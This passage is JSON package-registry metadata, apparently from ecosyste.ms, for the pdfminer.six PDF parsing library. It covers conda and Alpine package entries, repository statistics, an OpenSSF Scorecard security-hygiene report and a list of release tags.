t":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:17.522Z","dependent_packages_count":9,"downloads":null,"downloads_period":null,"dependent_repos_count":3,"rankings":{"downloads":null,"dependent_repos_count":17.893686049413525,"dependent_packages_count":6.44372348390317,"stargazers_count":5.385575243324182,"forks_count":5.7149987521836785,"docker_downloads_count":null,"average":8.859495882206138},"purl":"pkg:conda/pdfminer.six?repository_url=https://conda-forge.org","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/conda/pdfminer.six","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/conda/pdfminer.six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/conda/pdfminer.six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pdfminer.six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pdfminer.six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pdfminer.six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pdfminer.six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pdfminer.six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pdfminer.six/codemeta","maintainers":[],"registry":{"name":"conda-forge.org","url":"https://conda-forge.org","ecosystem":"conda","default":false,"packages_count":20636,"maintainers_count":0,"namespaces_count":0,"keywords_count":0,"github":"conda-forge","metadata":{"kind":"conda-forge","key":"CondaForge","api":"https://conda.anaconda.org"},"icon_url":"https://github.com/conda-forge.png","created_at":"2022-10-03T15:37:08.743Z","updated_at":"2026-04-27T18:20:20.507Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/namespaces"}},{"id":6173137,"name":"py3-pdfminer","ecosystem":"alpine","description":"Python PDF Parser","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2021-04-05T18:18:34.000Z","latest_release_published_at":"2021-04-05T18:18:34.000Z","latest_release_number":"20201018-r1","last_synced_at":"2026-04-01T01:37:27.197Z","created_at":"2023-02-01T00:14:43.860Z","updated_at":"2026-04-01T01:37:27.197Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.15/community/x86_64/py3-pdfminer","install_command":"apk add py3-pdfminer","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","pu